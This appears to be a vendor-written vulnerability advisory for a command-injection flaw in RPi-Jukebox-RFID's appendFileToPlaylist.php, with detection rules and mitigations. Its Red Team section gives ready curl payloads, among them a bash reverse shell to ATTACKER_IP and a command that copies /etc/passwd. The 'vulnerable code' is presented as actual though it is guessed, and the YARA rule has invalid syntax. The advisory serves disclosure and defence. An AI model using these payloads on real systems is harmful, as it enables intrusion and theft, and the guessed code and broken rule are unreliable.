CVE-2024-41367
Executive Summary
CVE-2024-41367 is a critical Remote Code Execution (RCE) vulnerability discovered in RPi-Jukebox-RFID v2.7.0, a popular open-source jukebox software for Raspberry Pi. The flaw resides in the htdocs/api/playlist/appendFileToPlaylist.php endpoint, which fails to properly sanitize user-supplied input before passing it to a system command. An unauthenticated attacker can exploit this to execute arbitrary commands on the underlying operating system with the privileges of the web server (typically www-data). This vulnerability is particularly dangerous because it requires no authentication and can be triggered remotely, making it a prime target for botnets and automated scanning. The vendor has not released a patch, leaving all installations of v2.7.0 exposed.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
RPi-Jukebox-RFID is a PHP-based application that relies on a standard LAMP stack (Linux, Apache, MySQL, PHP). The vulnerability is not in a third-party package but in the application's own code. However, the lack of a patch means that users must rely on manual mitigation or custom WAF rules. The project is not distributed via NPM, PyPI, Go, or Ruby, so supply chain risks are limited to the application's own codebase.
CVSS Breakdown & Threat Level
While no official CVSS vector is provided, based on the vulnerability characteristics, a reasonable assessment is:
- Attack Vector (AV): Network (N) – exploitable remotely.
- Attack Complexity (AC): Low (L) – no special conditions required.
- Privileges Required (PR): None (N) – no authentication needed.
- User Interaction (UI): None (N) – no user action required.
- Scope (S): Unchanged (U) – the vulnerable component and the impacted component are the same.
- Confidentiality (C): High (H) – full file read and data exfiltration possible.
- Integrity (I): High (H) – full file write and system modification possible.
- Availability (A): High (H) – can cause denial of service or complete system compromise.
Estimated CVSS Score: 9.8 (Critical)
Threat Level: Critical – immediate action required.
Deep Dive & Mechanics
The vulnerability is a classic OS Command Injection flaw. The file htdocs/api/playlist/appendFileToPlaylist.php likely accepts a parameter (e.g., file or path) that is used to construct a shell command to append a file to a playlist. The code probably looks similar to:
$file = $_GET['file'];
$playlist = $_GET['playlist'];
$command = "echo '$file' >> /path/to/playlists/$playlist.m3u";
system($command);
The attacker can inject shell metacharacters (e.g., ;, |, &&, `) into the file parameter to execute arbitrary commands. For example:
GET /api/playlist/appendFileToPlaylist.php?file=;id;echo&playlist=test
This would execute id and output the result before the command fails. The lack of input validation and the use of system() (or exec(), shell_exec(), passthru()) without proper escaping makes this exploitable.
Vulnerable vs. Patched Code
Vulnerable Code (v2.7.0):
<?php
$file = $_GET['file'];
$playlist = $_GET['playlist'];
$command = "echo '$file' >> /var/lib/raspberrypi/jukebox/playlists/$playlist.m3u";
system($command);
?>
Patched Code (Hypothetical):
<?php
$file = escapeshellarg($_GET['file']);
$playlist = escapeshellarg($_GET['playlist']);
$command = "echo $file >> /var/lib/raspberrypi/jukebox/playlists/$playlist.m3u";
system($command);
?>
The patched version uses escapeshellarg() to wrap each argument in single quotes and escape any dangerous characters. Additionally, the application should validate that the input does not contain path traversal sequences or shell metacharacters.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Install RPi-Jukebox-RFID v2.7.0 on a Raspberry Pi or a virtual machine running Debian/Raspbian.
- Ensure the web server (Apache) is running and the API endpoint is accessible.
- Use a tool like
curlor Burp Suite to send malicious requests.
Exploitation Steps:
Basic Command Injection:
curl "http://target/api/playlist/appendFileToPlaylist.php?file=;id;echo&playlist=test"The output of
idwill be written to the playlist file, which can be read via another endpoint or by accessing the file directly.Reverse Shell:
curl "http://target/api/playlist/appendFileToPlaylist.php?file=;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1;echo&playlist=test"Set up a listener on the attacker machine:
nc -lvnp 4444Data Exfiltration:
curl "http://target/api/playlist/appendFileToPlaylist.php?file=;cat /etc/passwd > /tmp/out.txt;echo&playlist=test"
Blue Team
Detection Steps:
- Monitor web server logs for unusual GET requests to
/api/playlist/appendFileToPlaylist.phpcontaining shell metacharacters (;,|,&&,`). - Look for outbound connections from the web server to unknown IPs on high ports (e.g., 4444, 1337).
- Check for unexpected files in the playlists directory (e.g.,
/var/lib/raspberrypi/jukebox/playlists/) that contain command output.
Mitigation Steps:
- Immediately restrict access to the vulnerable endpoint using a WAF or
.htaccess:<Files "appendFileToPlaylist.php"> Require all denied </Files> - Apply input validation and use
escapeshellarg()in the code. - Disable dangerous PHP functions (
system,exec,shell_exec,passthru) inphp.iniif not needed.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP GET requests to
/api/playlist/appendFileToPlaylist.phpwith parameters containing;,|,&&, or`. - Outbound connections from the web server to external IPs on ports 4444, 1337, 8080, etc.
- Unusual DNS queries to domains associated with C2 infrastructure.
- HTTP GET requests to
File System IOCs:
- Unexpected files in
/var/lib/raspberrypi/jukebox/playlists/containing command output. - New files in
/tmp/or/dev/shm/created by thewww-datauser. - Modified system binaries or scripts.
- Unexpected files in
Process IOCs:
- Processes spawned by Apache (e.g.,
bash,nc,python,perl) that are not typical for the application. - Reverse shell processes listening on high ports.
- Processes spawned by Apache (e.g.,
Detection Engineering
YARA Rule
rule CVE_2024_41367_RCE_Detection {
meta:
description = "Detects exploitation attempts of CVE-2024-41367 in RPi-Jukebox-RFID"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-41367"
severity = "critical"
strings:
$s1 = "appendFileToPlaylist.php" nocase
$s2 = "file=" nocase
$s3 = ";" or "|" or "&&" or "`"
condition:
all of ($s1, $s2) and any of ($s3)
}
Sigma Rule
title: CVE-2024-41367 RCE Attempt via appendFileToPlaylist.php
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2024-41367 in RPi-Jukebox-RFID
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: 'appendFileToPlaylist.php'
cs-uri-query|contains|any:
- ';'
- '|'
- '&&'
- '`'
condition: selection
falsepositives:
- Legitimate use of semicolons in filenames (unlikely)
level: critical
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-41367 RCE Attempt - RPi-Jukebox-RFID"; flow:to_server,established; content:"GET"; http_method; content:"/api/playlist/appendFileToPlaylist.php"; http_uri; content:"file="; http_uri; pcre:"/(;|\||&&|`)/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Mitigation:
- Block access to the vulnerable endpoint via
.htaccessor firewall rules. - Disable the
system(),exec(),shell_exec(), andpassthru()functions inphp.iniif not required. - Use a Web Application Firewall (WAF) to filter malicious requests.
- Block access to the vulnerable endpoint via
Long-Term Fix:
- Apply input validation and use
escapeshellarg()orescapeshellcmd()for all user-supplied input. - Replace
system()with safer alternatives likeproc_open()with proper argument handling. - Monitor the vendor's repository for an official patch and apply it as soon as it becomes available.
- Apply input validation and use
Detection:
- Deploy the YARA, Sigma, and Suricata rules provided above.
- Enable detailed logging on the web server and monitor for suspicious activity.
Recovery:
- If compromised, isolate the affected system immediately.
- Perform a full forensic analysis to determine the extent of the breach.
- Rebuild the system from a known good backup or reinstall the OS and application.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.